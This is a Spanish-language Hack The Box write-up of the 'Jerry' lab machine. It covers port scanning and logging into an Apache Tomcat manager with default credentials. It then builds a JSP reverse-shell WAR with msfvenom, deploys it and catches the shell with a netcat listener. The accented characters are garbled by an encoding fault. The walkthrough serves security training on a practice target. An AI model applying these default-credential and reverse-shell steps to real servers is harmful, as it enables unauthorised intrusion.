Jerry
脥ndice
Hack The Box – Jerry
Dificultad:聽F谩cil
- Information Leakage
- Abusing Tomcat (Intrusion & Privilege Escalation)
Fase de Reconocimiento
En primer lugar, nos creamos un directorio con el nombre de la m谩quina desde el que trabajaremos:
sudo mkdir Jerry
Ahora, mediante la funci贸n聽mkt
聽que tengo previamente definida en la聽.zhshrc
聽crearemos nuestros directorios de trabajo:
sudo mkt
Esta funci贸n est谩 definida para crearnos cuatro directorios (nmap
,聽content
,聽exploits
聽y聽scripts
) desde los cuales poder trabajar a la hora de realizar las m谩quinas de HTB.
Ping
Ejecutamos un聽ping
聽y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una m谩quina Windows.
ping -c 1 10.10.10.95
Ahora vamos a ver mediante聽whatweb
que m谩s podemos ver:
whatweb 10.10.10.95
Nos reporta un erro al tratar de acceder. Por tanto, vamos a realizar mediante聽nmap
聽una serie de escaneos para ver que puertos se encuentran abiertos, primero realizar茅 un escaneo b谩sico:
nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts
-oG
: Exportar los resultados en formato grepeable.allPorts
聽: Nombre del archivo. Si no existe lo crear谩.
Guardamos los resultados en el archivo聽allPorts
, de esta manera podremos revisar los puertos que estaban abiertos en cualquier momento.
Como podemos ver, nos reporta que el puerto 8080 est谩 abierto, vamos a proceder a un segundo escaneo especificando que quereros utilizar la variable聽--script http-enum
聽en el puerto 8080 y guardaremos los resultados en el archivo聽targetenum
.
sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum
Vemos que en el puerto聽8080
聽corre un servicio聽http
, por tanto, vamos a intentar acceder mediante el navegador de Firefox.
Vemos que al intentar acceder al dominio聽http://10.10.10.95
聽la p谩gina no termina de cargar, pero tampoco reporta ning煤n error. Por tanto, lo siguiente que probaremos ser谩 especificar el puerto en el que corre el servicio, por tanto, intentamos acceder al dominio聽http://10.10.10.95:8080
.
Fase de Intrusi贸n:
Genial ya nos carga la p谩gina, vemos que se trata de la p谩gina oficial de un programa llamado聽Tomcat
. Lo siguiente que vamos a probar, es tratar de acceder al directorio聽./manager/html
.
Nos muestra una ventana de registro, como se trata de una m谩quina f谩cil, podemos probar con combinaciones b谩sicas para ver si conseguimos ingresar de manera sencilla.
Tras probar algunas combinaciones vemos que utilizando el usuario聽admin
聽y la contrase帽a聽admin
聽nos reporta este mensaje con un error de servicio 403.
Vemos como nos indica un ejemplo, donde nos muestra unas credenciales que se han usado para mostrar el ejemplo.
Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario聽tomcat
聽y empleando la contrase帽a聽s3cret
.
Las credenciales funcionan y nos lleva hasta una p谩gina que parece gestionar aplicaciones.
Tras revisar la p谩gina vemos que nos permite subir archivos, as铆 que vamos a tratar de buscar alguna herramienta que nos permita crear una shell inversa desde la cual poder interactuar con la m谩quina.
Creaci贸n de una Reverse Shell mediante MsfVenom:
Mediante聽msfvenom
podemos tratar de comprobar una gran cantidad de herramientas:
msfvenom -l payloads
Vamos a emplear la herramienta聽jsp_shell_reverse_tcp
. Esta herramienta, especific谩ndole nuestro host de escucha y el puerto mediante el siguiente comando, nos crear谩 un archivo en formato聽.war
聽capaz de crear una shell inversa desde la m谩quina v铆ctima.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war
Una vez creado nuestro archivo聽shell.war
聽vamos a subirlo a la m谩quina v铆ctima, pero antes, debemos mover nuestro archivo al directorio聽Descargas/Downloads
:
Ahora, mediante el apartado de la p谩gina llamado聽Archivo WAR a desplegar
聽subimos nuestro archivo聽shell.war
.
Recargamos la p谩gina y vemos como aparece nuestro archivo. El siguiente paso ser谩 ponerlo en escucha por el puerto聽8080
聽mediante聽nc
聽como se trata de un sistema Windows utilizaremos聽rlwarp
:
rlwrap nc -lvnp 8080
Ahora, para ejecutar el archivo, simplemente nos vamos a la p谩gina y lo pulsamos.
Vemos como la shell se nos despliega en la terminal que tenemos en escucha con Netcat.
Est谩 m谩quina ya est谩 b谩sicamente terminada, ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio:
C:\Users\Administrator\Desktop\flags
cd /Users/Administrator/Desktop/flags
Vemos como dentro del directorio聽flags
聽se encuentra el archivo聽2 for the price at 1.txt
Y finalmente, mediante聽type
聽podemos visualizar el contenido: